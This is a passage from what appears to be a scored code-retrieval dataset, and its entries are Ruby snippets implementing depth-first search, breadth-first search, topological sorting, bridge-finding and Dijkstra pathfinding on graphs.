como inicial de otra busqueda\r\n end\r\n end\r\n end\r\n end\r\n nuevamatriz = $matrizDFS #los datos de la matriz global pasan a una matriz local\r\n return nuevamatriz #se regresa la matriz DFS\r\nend", "title": "" }, { "docid": "b91dcdc57dfbc106d7ba17dfeccd0df8", "score": "0.69851303", "text": "def dfs(adj_matrix, source_vertex, target_vertex)\n stack = [source_vertex]\n visited = [] # used to keep track of visited order\n discovered = Array.new(adj_matrix.length, false)\n loop do\n current_vertex = stack.pop\n return false, visited if current_vertex.nil?\n\n next if discovered[current_vertex]\n\n discovered[current_vertex] = true\n visited << current_vertex\n return true, visited if current_vertex == target_vertex\n\n (0...adj_matrix.length).to_a.each do |other_vertex|\n next if adj_matrix[current_vertex][other_vertex].zero?\n\n stack << other_vertex\n end\n end\nend", "title": "" }, { "docid": "c8c76e005d16fafbd5b6e0f4f6d18f9e", "score": "0.6972559", "text": "def traverse_dfs(maze, position, nodes_visited, path)\n path.push(position)\n if (position == maze.goal) \n return true\n end\n nodes_visited[position] = 1\n # adjacent positions are calculated and then discarded if already visited or not allowed by the maze grid\n adjacent_positions = adjacent_positions(position)\n adjacent_positions.each do |adjacent_position| \n if (maze.valid_position?(adjacent_position) && nodes_visited[adjacent_position] == 0)\n if (traverse_dfs(maze, adjacent_position, nodes_visited, path)) \n return true\n end\n end\n end\n path.pop\n return false\nend", "title": "" }, { "docid": "9472f86b12d565df826286c7441d80ea", "score": "0.6970444", "text": "def dfs(district, node)\r\n if district.nodes.index(node)==district.fireplace\r\n district.path.push(district.nodes.index(node)+1)\r\n district.path.each {|n| print String(n)+\" \"}\r\n puts\r\n district.path.pop()\r\n district.num_of_paths=district.num_of_paths+1\r\n end\r\n district.path.push(district.nodes.index(node)+1)\r\n node.visited=:true\r\n for n in node.adjacency_list\r\n if district.nodes[n].visited==:false then\r\n dfs(district, district.nodes[n])\r\n end\r\n end\r\n\r\n node.visited = :false\r\n district.path.pop()\r\n\r\nend", "title": "" }, { "docid": "cb8e4098ba2d01978a4b34c2979c66b3", "score": "0.6958767", "text": "def depth_first_search\n @visited_vertices = []\n color = initialize_color\n\n vertices.each do |vertex|\n depth_first_search_visit(vertex, color) if color[vertex] == 'white'\n end\n @visited_vertices\n end", "title": "" }, { "docid": "49f14cdab59094ee2980a005aa505c09", "score": "0.69583505", "text": "def depth_first_search(vertex, goal_vertex)\n @stack.push(vertex) # Add vertex to frontier\n return 1 if vertex == goal_vertex # If goal_vertex is reached, return 1. ! Not necessarily shortest path !\n @explored[vertex.label] = true # Mark vertex as being explored\n vertex.edges.each { |edge| # Expand current vertex\n unless @explored.has_key? edge.label # If already explored, then ignore the vertex\n return 1 if depth_first_search(edge, goal_vertex) == 1 # Recursively do depth_first on the vertices\n end\n }\n @stack.pop() #Backtracking so popping the vertex from the stack\nend", "title": "" }, { "docid": "1a356af3ee4ff7d835e9dcec20a5fb05", "score": "0.69469213", "text": "def DFS(t, seen = [])\n seen << t.value\n dfs(node.left, seen) if node.left\n dfs(node.right, seen) if node.right\n seen\nend", "title": "" }, { "docid": "23aea61ede4c56c6ccf97ba5d5bd8525", "score": "0.6945307", "text": "def dfs(graph, vertex)\r\n vertex.state = :closed\r\n print graph.vertices.index(vertex)+1, \" \"\r\n for v in vertex.adjacency_list\r\n if v.state==:open then\r\n dfs(graph, v)\r\n end\r\n end\r\nend", "title": "" }, { "docid": "1129b19a76ebb0855c07f76dbe181934", "score": "0.6913521", "text": "def dfs(starting_node, target_value, visited = Set.new())\n visited << starting_node\n return starting_node if starting_node.value == target_value\n\n starting_node.neighbors.each do |neighbor|\n if !visited.include?(neighbor)\n dfs(neighbor, target_value, visited)\n end\n end\n\n nil\nend", "title": "" }, { "docid": "ba31b8864fa829c98d7fdac192e92d69", "score": "0.69005436", "text": "def dfs(node)\n puts node.value\n node.children.each do |child|\n node.mark\n # p child.value if child.visited == true\n dfs(child) if child.visited == false\n end\nend", "title": "" }, { "docid": "1028f61e098d447ddd94ffa881e7f83d", "score": "0.6857206", "text": "def generar_DFS(index,mat,num_vertices) #genera una matriz DFS recursivamente\n $padre[index] = 1 #se indica que se visito el vertices\n (0..num_vertices).each do |i| #recorre los vertices iniciales de la arista\n if i == index then\n (0..num_vertices).each do |j| #recorre los vertices finales\n if mat[i,j]==1 and $padre[j]==0 then #si el vertice inicial esta conectado al vertice final y este no fue visitado\n $matrizDFS[i,j] += 1 #se registra la conexion en la matriz dfs global\n generar_DFS(j,mat,num_vertices) #se busca la siguiente conexion tomando el vertice final como inicial de otra busqueda\n end\n end\n end\n end\n nuevamatriz = $matrizDFS #los datos de la matriz global pasan a una matriz local\n return nuevamatriz #se regresa la matriz DFS\nend", "title": "" }, { "docid": "1b049f91ed9807da50ade3ed834e6e61", "score": "0.67768425", "text": "def DFS(g, searchable = nil, topological = false)\n g.vertices.each do |u|\n u.color = 'WHITE'\n u.pi = nil\n end\n @time = 0\n\n g.vertices.each do |u|\n DFS_visit(g, u, searchable, topological) if u.color == 'WHITE'\n end\n @topological_list || @found\n end", "title": "" }, { "docid": "a89cf53bf4bf0b38d830d0be46cbe547", "score": "0.6763951", "text": "def bfs(starting_vertex, search_value, visited_vertices={})\n queue = Queue.new\n\n visited_vertices[starting_vertex.value] = true\n queue.enqueue(starting_vertex)\n\n while queue.read\n current_vertex = queue.dequeue\n\n return current_vertex if current_vertex.value == search_value\n\n current_vertex.adjacent_vertices.each do |adjacent_vertex|\n if !visited_vertices[adjacent_vertex.value]\n visited_vertices[adjacent_vertex.value] = true\n queue.enqueue(adjacent_vertex)\n end\n end\n end\n\n return nil\nend", "title": "" }, { "docid": "a3b121c35f7b21604df65bfb4505db4e", "score": "0.67613983", "text": "def bfs_travers(starting_vertex)\n queue = Queue.new\n\n visited_vertices = {}\n visited_verticies[starting_vertex.value] = true\n queue.enqueue(starting_vertex)\n\n # While the queue is not empty:\n while queue.read\n current_vertex = queue.dequeue\n puts current_vertex.value\n current_vertex.adjacent_vertices.each do |adjacent_vertex|\n if !visited_vertices[adjacent_vertex.value]\n visited_vertices[adjacent_vertex.value] = true\n queue.enqueue(adjacent_vertex)\n end\n end\n end\nend", "title": "" }, { "docid": "5b737746c8db963e19a2791188978211", "score": "0.67603225", "text": "def dfs(graph, i)\n\t# Mark explored\n\t#$explored << i\n\t#$leader[i] = $source\n\n\t# Iterative DFS\n\tstack = [i]\n\tuntil stack.empty?\n\t\ti = stack.last\n\t\t$leader[i] = $source\n\t\tif $explored.include? i\n\t\t\t$time += 1\n\t\t\t$finishing_time[i] = $time\n\t\t\tstack.pop\n\t\telse\n\t\t\tneighbors = []\n\t\t\t$explored << i\n\t\t\tif graph[i]\n\t\t\t\tgraph[i].each do |l|\n\t\t\t\t\tneighbors << l unless $explored.include? l\n\t\t\t\tend\n\t\t\tend\n\t\t\tif neighbors.empty?\n\t\t\t\t$time += 1\n\t\t\t\t$finishing_time[i] = $time\n\t\t\t\tstack.pop\n\t\t\telse\n\t\t\t\tstack.concat(neighbors)\n\t\t\tend\n\t\tend\n\tend\n\n\t#unless graph[i].nil?\n\t#\tgraph[i].each do |node|\n\t#\t\tunless $explored.include? node\n\t#\t\t\tdfs(graph,node)\n\t#\t\tend\n\t#\tend\n\n\t#\t$time += 1\n\t#\t$finishing_time[i] = $time\n\t#end\nend", "title": "" }, { "docid": "73e926a51b9af2ebef7c018bd4db1668", "score": "0.67576844", "text": "def dfs(graph, v)\n return if v >= graph.v\n\n @marked[v] = true\n @component_ids[v] = @count\n @size[@count] += 1\n\n graph\n .each_adjacent(v)\n .lazy.reject { |w| @marked[w] }\n .each { |w| dfs(graph, w) }\n end", "title": "" }, { "docid": "0ddb4b1213659533e7315d91ad387010", "score": "0.6756756", "text": "def dfs(g, n, parent, processing, topo)\n processing[n] = true\n g[n].each do |x|\n return if processing[x]\n if !parent.has_key?(x)\n parent[x] = n\n return if dfs(g, x, parent, processing, topo).nil?\n end\n end\n processing[n] = false\n topo.unshift n\nend", "title": "" }, { "docid": "866867b6ccc4eaddb0f5063f2b80d818", "score": "0.67288256", "text": "def dfs(curr,depth,visited,depth_map)\n\tcurr.children.each do |child|\n\t\tvisited.add(child) if !visited.include?(child)\n\t\tif depth_map.has_key?(depth) then\n\t\t\tdepth_map[depth] = child.value if child.value > depth_map[depth]\n\t\telse\n\t\t\tdepth_map[depth] = child.value\n\t\tend\n\t\tdfs(child,depth+1,visited,depth_map)\n\tend\nend", "title": "" }, { "docid": "c3c41387233f49de34a26596284e2b92", "score": "0.6727096", "text": "def depth_first(graph, source)\n stack = [source]\n encountered = { source => true }\n\n processed = {}\n\n while !stack.empty?\n vtx = stack.pop\n processed[vtx] = true\n graph[vtx].each do |neighbor|\n unless encountered[neighbor]\n stack.push(neighbor)\n encountered[neighbor] = true\n end\n end\n end\n\n puts \"bfs – encountered: #{encountered.keys}\"\n puts \"bfs – processed: #{processed.keys}\"\n\n processed.keys\n\nend", "title": "" }, { "docid": "d53f58a7fc17a44cb8291e82b448dac9", "score": "0.6710096", "text": "def depth_first_d(graph, vtx, discovered = {})\n discovered[vtx] = true\n graph[vtx].each do |other_vtx|\n depth_first_d(graph, other_vtx, discovered) unless discovered[other_vtx]\n end\n discovered.keys\nend", "title": "" }, { "docid": "a7be3436bf3c20b1e906538a7f982f7b", "score": "0.6681444", "text": "def depth_first_stack(graph, start_vtx)\n stack = [start_vtx]\n discovered = {}\n\n while stack != []\n\n current = stack.pop\n discovered[current] = true\n graph[current].each do |vtx|\n stack.push(vtx) unless discovered[vtx]\n end\n\n end\n\n discovered.keys\n\nend", "title": "" }, { "docid": "420756ba8d5b7d8446e20eb390d3cd75", "score": "0.6676105", "text": "def DFS(table, visited, v, rec)\n table[v].each_with_index do |ele, idx|\n rec << v\n if ele\n if visited[idx]\n return false if rec.include?(idx)\n else\n visited[idx] = true\n end\n return false unless DFS(table, visited, idx, rec)\n\n end\n rec.pop\n end\n true\nend", "title": "" }, { "docid": "5ed6beefcc426bdd258d28977fb579e0", "score": "0.66722393", "text": "def topological_sort(vertices)\n sorted = [] \n explored = Set.new \n this_stack = Set.new\n cycle = false \n vertices.each do |vertex| \n cycle = dfs(vertex, explored, sorted, this_stack) if !explored.include?(vertex)\n return [] if cycle\n end \n sorted \nend", "title": "" }, { "docid": "9c40b1224b598bbee16267bfa9051353", "score": "0.66522306", "text": "def dfs(start)\n visited = Hash.new\n each_vertex { |v| visited[v] = false }\n\n q = Array.new\n q << start\n\n until q.empty?\n u = q.pop\n visited[u] = true\n yield u if block_given?\n each_adjacent(u) do |v|\n unless visited[v]\n q << v\n end\n end\n end\n visited\n end", "title": "" }, { "docid": "4039f58be3839f73b34e62be9428abd3", "score": "0.6629963", "text": "def bfs(start_vertex)\n q = Queue.new\n visited = Set.new\n path = { start_vertex => nil }\n\n q << [0, start_vertex]\n visited << start_vertex\n\n until q.empty?\n level, current = q.pop\n yield level, current if block_given?\n\n unvisited = @graph[current].select { |v| !visited.include? v }\n\n unvisited.each do |v|\n path[v] = current\n q << [level + 1, v]\n visited << v\n end\n end\n\n path\n end", "title": "" }, { "docid": "a4c43c1f9980dd4f573cee4734db32e8", "score": "0.65820163", "text": "def dfs(graph, v)\n @visited[v] = true\n w = nil\n graph.adj(v).each do |edge|\n w = edge.to\n if not @visited[edge.other(v)]\n @path[w] = v\n dfs(graph, edge.other(v))\n end\n end\n end", "title": "" }, { "docid": "db5770729aad5faf237a3f657ae58843", "score": "0.65807354", "text": "def dfs(node, visited=Set.new, &visit)\n visited << node\n visit.call(node)\n children(node).each do |child|\n dfs(child, visited, &visit) unless visited.member?(child)\n end\n end", "title": "" }, { "docid": "6704f1d08e665ee03b0e99329d26f0c1", "score": "0.6577905", "text": "def dfs(graph, v)\n @visited[v] = true\n w = nil\n graph.adj(v).each do |edge|\n w = edge.other(v)\n if not @visited[edge.other(v)]\n @path[w] = v\n dfs(graph, edge.other(v))\n end\n end\n end", "title": "" }, { "docid": "5c82070e07b36601270761468d2e2aab", "score": "0.6513824", "text": "def dfs(times, graph, source, flight)\n #Are we going to push nodes or push indices, push indices.\n #Push the index of the flight onto the stack, \n #While the stack has elements,\n #Check if the flight on top's source equals the source. \n #If so, return the flight's arrival time: flight[0][3]\n #Else, search for a node to push onto the stack,\n #If I find one (not already traversed), push it onto the stack. \n #If I can't find one, pop off the stack.\n #return nil,\n stack = []\n visited = {} \n stack.unshift(flight[1])\n visited[flight[1]] = true \n \n while !stack.empty? \n # p source\n # debugger if stack[0] == 8\n # debugger if stack[0] == 6\n if times[stack[0]][0] == source \n return flight[0][3]\n else\n child = graph[stack[0]].index{|node| !visited[node] } \n # p graph \n # p graph[stack[0]]\n if child \n visited[graph[stack[0]][child]] = true\n stack.unshift(graph[stack[0]][child])\n else \n stack.shift\n end \n end \n end \n nil \nend", "title": "" }, { "docid": "0faf6865152bb48744238e2199c2eb1f", "score": "0.65042186", "text": "def iDFS_grev node\n @explored_list.add node\n @dfs_stack.push node\n \n until @dfs_stack.empty?\n top_guy = @dfs_stack.peek\n l = @adj_list[top_guy]\n \n #if top guy has no neighbors, pop him out\n if l.nil? or l.empty?\n #update current finish time and the finish time list\n @current_finish_time += 1\n @finish_time_list[@current_finish_time] = @dfs_stack.pop\n else\n has_unvisited_node = false\n l.each { |eachnode|\n #if the node is unexplored, then mark it as explored\n #and push into stack\n if !@explored_list.include?(eachnode)\n @explored_list.add eachnode\n @dfs_stack.push eachnode\n has_unvisited_node = true\n break\n end\n }\n #if top guy has no more unexplored neighbors\n unless has_unvisited_node\n @current_finish_time += 1\n @finish_time_list[@current_finish_time] = @dfs_stack.pop\n break if dfs_stack.empty?\n end\n end\n end\n end", "title": "" }, { "docid": "7b132eafad9a87e63b29fb1384769f9b", "score": "0.64624745", "text": "def dfs2(g, n)\n\tn.visited = true\n\tn.edges.each do |e|\n\t\tdfs2(g, e) unless e.visited\n\tend\n\tn.top_order = @@current\n\tputs \"#{n} #{@@current}\"\n\t@@current -= 1\nend", "title": "" }, { "docid": "7c7826c1012a1ceef3eb4ae1d197a65b", "score": "0.64578253", "text": "def dfs(i, j, visited, a)\n # These arrays are used to get row and \n # column numbers of 4 neighbours \n # of a given cell\n rowNbr = [-1, 0, 0, 1]\n colNbr = [ 0, -1, 1, 0]\n \n # Mark this cell as visited\n visited[i][j] = true\n # puts \"dfs #{i}, #{j} visited:#{visited.inspect}\"\n # Recurse for all connected neighbours\n 0.upto(4 - 1) do |k|\n if isSafe(i + rowNbr[k], j + colNbr[k], visited, a)\n # puts \"k:#{k} i:#{i + rowNbr[k]}, j:#{j + colNbr[k]}\"\n dfs(i + rowNbr[k], j + colNbr[k], visited, a)\n end\n end\n end", "title": "" }, { "docid": "f05f8603114fa4016849eac828730be6", "score": "0.64398474", "text": "def dfs(current, previous)\n visited[current] = true\n @id += 1\n lowlink[current] = id\n ids[current] = id\n\n # puts \"\\ncurrent: #{current}, ids: #{ids}, lowlink: #{lowlink}\"\n # puts \"adjacent: #{graph[current]}, visited: #{visited}, id: #{id}\"\n\n # for each adjacent edge from 'current' to 'to'\n graph[current].each do |to|\n # puts \"to: #{to}\"\n next if to == previous # don't return to previous node (for undirected graph)\n if !visited[to]\n dfs(to, current)\n\n # Propagate smallest node we may reach from current\n lowlink[current] = [lowlink[current], lowlink[to]].min\n # puts \"lowlink: #{lowlink}. lowlink[#{current}]: #{lowlink[current]}\"\n\n # If no way to drop from 'to' node to current node #,\n # there's no path back to current node. Thus we found a BRIDGE!\n if ids[current] < lowlink[to]\n bridges << [current, to]\n # puts \"------>> bridges: #{bridges} <<------- ids[#{current}] (#{ids[current]}) < lowlink[#{to}] (#{lowlink[to]})\"\n end\n else\n # puts \"** visited all adjacent nodes. drop lowlink[current] if lowlink[#{to}] (#{lowlink[to]}) < lowlink[#{current}] (#{lowlink[current]}) **\"\n lowlink[current] = [lowlink[current], lowlink[to]].min\n # puts \"lowlink: #{lowlink}. lowlink[#{current}]: #{lowlink[current]}\"\n end\n end\n\n bridges\n end", "title": "" }, { "docid": "69ce7baecab7505832ebced004deddde", "score": "0.64277524", "text": "def dfs(root, depth)\n return if root.nil? || @depth_x && @depth_y\n @depth_x, @parent_x = depth + 1, root if root.left&.val == @x || root.right&.val == @x\n @depth_y, @parent_y = depth + 1, root if root.left&.val == @y || root.right&.val == @y\n dfs(root.left, depth+1)\n dfs(root.right, depth+1)\nend", "title": "" }, { "docid": "f632b20ddc0a1e01265368acdfb4552d", "score": "0.640585", "text": "def dfs_tree_from_vertex(start) tree_from_vertex(start, :dfs); end", "title": "" }, { "docid": "f4298688256b41d6b1e10a08445f0cf6", "score": "0.63914955", "text": "def dfs(graph, s)\n stack = [s]\n @visited[s] = true\n w = nil\n while not stack.empty?\n v = stack.pop\n graph.adj(v).each do |edge|\n w = edge.other(v)\n if not @visited[edge.other(v)]\n @path[w] = v\n @visited[w] = true\n stack.push(edge.other(v))\n end\n end\n end\n end", "title": "" }, { "docid": "4cdf0ac8414a100c7d9ebdeb731dac85", "score": "0.6381375", "text": "def breadth_first_search(vertex, goal_vertex)\n\nend", "title": "" }, { "docid": "7d9708a046d2401a4454f4de3caa666c", "score": "0.63627326", "text": "def depth_first_visit (u, vis = DFSVisitor.new(self), &b)\n vis.color_map[u] = :GRAY\n vis.handle_examine_vertex(u)\n each_adjacent(u) { |v|\n vis.handle_examine_edge(u, v)\n if vis.follow_edge?(u, v) # (u,v) is a tree edge\n vis.handle_tree_edge(u, v) # also discovers v\n vis.color_map[v] = :GRAY # color of v was :WHITE\n depth_first_visit(v, vis, &b)\n else # (u,v) is a non tree edge\n if vis.color_map[v] == :GRAY\n vis.handle_back_edge(u, v) # (u,v) has gray target\n else\n vis.handle_forward_edge(u, v) # (u,v) is a cross or forward edge \n end\n end\n }\n vis.color_map[u] = :BLACK\n vis.handle_finish_vertex(u) # finish vertex\n b.call(u)\n end", "title": "" }, { "docid": "a9559014d828a6c2f6ef8a1ba3f6f0a3", "score": "0.63555", "text": "def iDFS_g node\n @explored_list.add node\n @dfs_stack.push node\n \n until @dfs_stack.empty?\n top_guy = @dfs_stack.pop\n \n if @leader_node_list.has_key? @current_leader\n @leader_node_list[@current_leader] += 1\n else\n @leader_node_list[@current_leader] = 1\n end\n \n l = @adj_list[top_guy]\n if l.nil? or l.empty?\n \n else\n l.each { |eachnode|\n if @explored_list.include?(eachnode)\n \n else\n @dfs_stack.push eachnode\n @explored_list.add eachnode\n end\n }\n end\n end\n \n end", "title": "" }, { "docid": "343e7159068e6ffeef89cb66f4f343ee", "score": "0.635489", "text": "def depth_first_search_winston(vertex, goal_vertex)\n @stack.push([vertex])\n @explored = {}\n @explored[vertex.label] = true\n while(!@stack.nil?)\n vertices = @stack.pop\n vertices.last.edges.reverse_each { |edge|\n unless @explored.has_key? edge.label\n @explored[vertex.label] = true\n @stack.push(vertices.dup.push(edge))\n return 1 if edge == goal_vertex\n end\n }\n end\nend", "title": "" }, { "docid": "aaa5ec92f4c7be71049e8f34045f598b", "score": "0.63542616", "text": "def spanning_tree\n raise ArgumentError unless connected?\n result = (self.class.to_s == \"ArrayGraph\") ?\n ArrayGraph.new(vertices) :\n LinkedGraph.new(vertices)\n dfs(0) { |v,w| result.add_edge(v,w) if 0 <= v }\n result\n end", "title": "" }, { "docid": "022c6db9da1821de41480f02dbef904d", "score": "0.63386005", "text": "def DFS_loop_grev\n @current_finish_time = 0\n @num_of_nodes.downto(1) { |i| iDFS_grev i unless @explored_list.include?(i) }\n \n end", "title": "" }, { "docid": "fd4180ceabaaa2880ca22147211941f6", "score": "0.63381493", "text": "def depth_first_stack_2(graph, vtx)\n stack = [[vtx, 0]]\n discovered = { vtx => true }\n\n while stack != []\n # p stack\n\n top_vtx = stack[-1][0]\n pos = stack[-1][1]\n next_vtx = graph[top_vtx][pos]\n\n if next_vtx\n stack[-1][1] += 1\n stack.push([next_vtx, 0]) unless discovered[next_vtx]\n discovered[next_vtx] = true\n else\n stack.pop\n end\n\n end\n\n discovered.keys\nend", "title": "" }, { "docid": "ccd722077ad3e9bed5ef0554f21642c4", "score": "0.6325896", "text": "def graph_cycle?(graph)\n # write your code here\n visited = Hash.new\n return true if has_cycle_by_DFS?(dfs_graph: graph, dfs_visited: visited, dfs_vertex: 0, parent_vertex: -1)\n false\nend", "title": "" }, { "docid": "efb790e8a34e65f433b3ecaa712069e4", "score": "0.62753195", "text": "def depth_first_search(maze)\n nodes_visited = Hash.new(0)\n path = Array.new\n # Our recursion returns a boolean value, true if the path is found and placed into the path argument or false if there wasn't a path found\n if (traverse_dfs(maze,maze.start,nodes_visited,path))\n formatted_path = format_path(path)\n return formatted_path\n else \n return nil\n end\nend", "title": "" }, { "docid": "e3181214c919584f4480172d36c36536", "score": "0.6226698", "text": "def find_neighbours_recursive(vv, in_branch, hash_of_visual_vertices, processed_edges)\n if !in_branch.include?(vv)\n in_branch << vv\n processed_edges << hash_of_visual_vertices[vv].get_neighbour_edges\n list_neigbours=hash_of_visual_vertices[vv.to_s].get_neighbours\n list_neigbours.each do | vv_nb |\n find_neighbours_recursive(vv_nb.to_s , in_branch , hash_of_visual_vertices, processed_edges)\n end\n end\n\n#difference between to gps coordinates - downloaded from Stack overflow\n#http://stackoverflow.com/questions/12966638/how-to-calculate-the-distance-between-two-gps-coordinates-without-using-google-m\n def get_distance(lat1, lon1, lat2, lon2)\n rad_per_deg = Math::PI / 180\n rm = 6371000 # Earth radius in meters\n lat1_rad, lat2_rad = lat1 * rad_per_deg, lat2 * rad_per_deg\n lon1_rad, lon2_rad = lon1 * rad_per_deg, lon2 * rad_per_deg\n a = Math.sin((lat2_rad - lat1_rad) / 2) ** 2 + Math.cos(lat1_rad) * Math.cos(lat2_rad) * Math.sin((lon2_rad - lon1_rad) / 2) ** 2\n c = 2 * Math::atan2(Math::sqrt(a), Math::sqrt(1 - a))\n return (rm * c ).round(2)\n end\n\n\n#Dijkstra - get nearest Edge\n def get_vertext_min_PL(i_vertices)\n #puts \" --entered get_vertext_min_PL1\"\n #puts \" --input #{i_vertices.length} \" #---\"[294029732]}\"\n min=INFINITY\n x=EMPTY\n i_vertices.each do |cur_vertex|\n #puts \"cur_vertex #{cur_vertex[0]} #{cur_vertex[1].status} path length: #{cur_vertex[1].path_length}\"\n if (cur_vertex[1].status == TEMPORARY and cur_vertex[1].path_length < min ) #perm=pokus...osledni podminka navic and edge.v1.path_length != INFINITY\n #puts \" --vertex.sts= #{cur_vertex[1].status} vertex.path_length(#{cur_vertex[1].path_length}) is less then min #{min}\"\n x=cur_vertex[1]\n min=cur_vertex[1].path_length\n end\n end\n\n #if x != EMPTY\n #puts \" - get_nearest_vertex - about to return #{x.id} with min #{min} value of all connected Vx\"\n #end\n return x\n end\n\n\n#alghoritm based on visualisation: https://www.youtube.com/watch?v=q3yKyE19OR0\n def Dijkstra(g, s, e)\n #puts \"In Dijkstra: start : #{g.visual_vertices[s]} end : #{g.visual_vertices[e]} \"\n g.visual_vertices[s].path_length=0 #starting Vx is 0 length, other have longer\n path_dur=0\n while true\n c=get_vertext_min_PL(g.visual_vertices)\n if (c==EMPTY)\n #puts \"c was empty, returning\"\n puts \" -path between #{s} and #{e} was not found, so it is not marked on output map\"\n return\n end\n #puts \" - vertex #{c.id} status=> PERMANENT\"\n c.status=PERMANENT\n if (c.id == e and c.status==PERMANENT ) #found end?\n # puts \" -found end vertex e #{e} and it is in status PERMANENT and path length is #{c.path_length} and predescessor #{c.predecessor} \"\n #now have end and start - mark all edges to be red, get duration\n vv_start=g.visual_vertices[s] #visual vertex of start node\n vv_cur=g.visual_vertices[e] #visual vertex start with end node\n vv_cur.set_emphesized(2)\n #handle edges\n tp=\"#{e}\" #text path\n while vv_cur != vv_start\n #puts \" is vv_cur #{vv_cur.id} != #{vv_start.id} ? finsh if yes\"\n #puts \"have in hand #{vv_cur.id}, his forecomer #{vv_cur.predecessor.id} - look for that one showing on me\"\n vv_cur.predecessor.neighbour_edges.each do |neighbour_edge|\n if neighbour_edge.v2.get_id == vv_cur.get_id\n #puts \" !!finally found edge pointing from neighbour_edge.v2=#{vv_cur.get_id} = #{neighbour_edge.v2.get_id} - neighbour edge.set_emphesized =>1 \"\n #length/50/.36\n cur_dur = neighbour_edge.distance / neighbour_edge.edge.max_speed / 0.36\n path_dur = (path_dur + cur_dur)\n #puts \"length #{neighbour_edge.distance} speed: #{neighbour_edge.edge.max_speed} res: #{path_dur} #{cur_dur}\"\n neighbour_edge.set_emphesized(1)\n if neighbour_edge.hidden == true\n #unhide hiden\n neighbour_edge.hidden = false\n #hide unhiden\n vv_cur.neighbour_edges.each do |neighbour_edge_hide|\n if neighbour_edge_hide.v2.get_id == vv_cur.predecessor.id\n neighbour_edge_hide.hidden = true\n end\n end\n end\n #stop further search\n break\n end\n end\n\n vv_cur=vv_cur.predecessor\n vv_cur.set_emphesized(1)\n #puts \"vv_cur = vv_cur.predescessor = #{vv_cur.id} - set_emphesized =>1 \"\n tp=\"#{vv_cur.id}->#{tp}\"\n\n end\n puts \"\\n -full path: #{tp} \"\n puts \" -full path length: #{c.path_length.round}m\"\n puts \" -minimum duration: #{path_dur.round/60} minute(s) #{(path_dur.round)%60} seconds\"\n #puts \"#{vv_start.id} -> set emphesized => 2\"\n vv_start.set_emphesized(2)\n return\n end\n\n #analyse all neighbours of the current vertex C\n #puts \" - have neigbour edges: #{c.neighbour_edges.length} - analyse one by one:\"\n c.neighbour_edges.each do |edge|\n if edge.v2.status==TEMPORARY\n #puts \" - v2 je TEMPORARY v1:#{edge.v1.id} -> v2:#{edge.v2.id} v2.length: (v1.PL)#{edge.v1.path_length} + (edge.distance)(#{edge.distance}\"\n if ((edge.v1.path_length + edge.distance) < edge.v2.path_length ) #found shorter path?\n edge.v2.path_length = edge.v1.path_length + edge.distance\n #puts \" - nastavuju trasu vertexu v2 #{c.id} na delku #{edge.v2.path_length} (navyseni o #{c.path_length}) \"\n edge.v2.predecessor = c #to show, which is the previous vertex on the shortest way\n end\n end\n end\n end\n end\n\n\nend", "title": "" }, { "docid": "9945dd84fc78c4bd68bf6d9d16e09baf", "score": "0.6215282", "text": "def topological_sort(vertices)\n ordering = []\n explored = Set.new\n\n vertices.each do |vertex| # O(|v|)\n dfs!(vertex, explored, ordering) unless explored.include?(vertex)\n end\n\n ordering\nend", "title": "" }, { "docid": "9945dd84fc78c4bd68bf6d9d16e09baf", "score": "0.6215282", "text": "def topological_sort(vertices)\n ordering = []\n explored = Set.new\n\n vertices.each do |vertex| # O(|v|)\n dfs!(vertex, explored, ordering) unless explored.include?(vertex)\n end\n\n ordering\nend", "title": "" }, { "docid": "9945dd84fc78c4bd68bf6d9d16e09baf", "score": "0.6215282", "text": "def topological_sort(vertices)\n ordering = []\n explored = Set.new\n\n vertices.each do |vertex| # O(|v|)\n dfs!(vertex, explored, ordering) unless explored.include?(vertex)\n end\n\n ordering\nend", "title": "" }, { "docid": "84e0c21f9a551ee1ad03853a07844498", "score": "0.6195251", "text": "def topological_sort(vertices)\n order = []\n explored = Set.new\n temp = Set.new\n cycle = false\n\n vertices.each do |vertex|\n cycle = dfs!(vertex, explored, temp, order, cycle) unless explored.include?(vertex)\n return [] if cycle\n end\n\n order\nend", "title": "" }, { "docid": "3dfaff6c9c8c71bd71881747fdd05ab2", "score": "0.6195066", "text": "def topological_sort(vertices)\n order = []\n explored = Set.new\n\n vertices.each do |vertex|\n dfs(vertex, explored, order) unless explored.include?(vertex)\n end\n\n order\nend", "title": "" }, { "docid": "61a666ac6594d4eb2d50993776b299e2", "score": "0.6183435", "text": "def depth_first_traversal()\n\n\t\tif @root.nil?\n\t\t\tputs \"No tree\"\n\t\t\treturn []\n\t\tend\n\n\t\t# Our set of nodes to visit\n\t\tto_visit = Array.new()\t\t\n\t\tto_visit.push(@root)\n\n\t\t# Traverse to_visit and return visited\n\t\tputs \"\\nDepth first traversal...\"\n\t\tvisited = traverse(to_visit, Array.new())\n\n\t\treturn visited\n\tend", "title": "" }, { "docid": "64c257c21d94c6b104e80dce92456371", "score": "0.61754596", "text": "def depth_first_search (vis = DFSVisitor.new(self), &b)\n each_vertex do |u|\n unless vis.finished_vertex?(u)\n vis.handle_start_vertex(u)\n depth_first_visit(u, vis, &b)\n end\n end\n end", "title": "" }, { "docid": "75e31131d92ffb2a62e4ccd93154801b", "score": "0.6174993", "text": "def dfs(v)\n return true if @finished[v]\n raise(CycleError, \"dfs(#{v})\") if @visited[v]\n @visited[v] = true\n\n # search via src -> dest\n @edge[v]&.each_value { |e| self.dfs(e.dest) }\n @finished[v] = true\n end", "title": "" }, { "docid": "a985fcc02a2c4252ff69a3483f804c4c", "score": "0.61722857", "text": "def topological_sort(vertices)\n order = []\n explored = Set.new\n\n vertices.each do |vertex|\n dfs!(order,explored,vertex) unless explored.include?(vertex)\n end\n\n order\nend", "title": "" }, { "docid": "9a69a54e4a536b93245c8ceaef63c090", "score": "0.6168807", "text": "def depth_first_search(graph)\n result = []\n stack = [0]\n \n while !stack.empty? do\n first = stack.shift\n if !result.include?(first)\n result << first\n stack.unshift(graph[first] - result).flatten!\n end\n end\n result\nend", "title": "" }, { "docid": "e74f9cc2ba50e67a657b4fc2140b917c", "score": "0.61667615", "text": "def bfs(parent_of, paths, start_node, end_node)\n visited = []\n queue = []\n queue << start_node\n visited << start_node\n while queue.any?\n current_node = queue.shift\n paths[current_node].select{|node, flow| flow != 0}.each do |adjacent_node, val|\n next if visited.include?(adjacent_node)\n queue << adjacent_node\n visited << adjacent_node\n parent_of[adjacent_node] = current_node\n end\n end\n return visited.include?(end_node)\nend", "title": "" }, { "docid": "18b0c6fea7065b9109ffb53e080c47f8", "score": "0.6163649", "text": "def bfsLevelNode( source)\n visited = Array.new(self.count){false}\n level = Array.new(self.count){0}\n 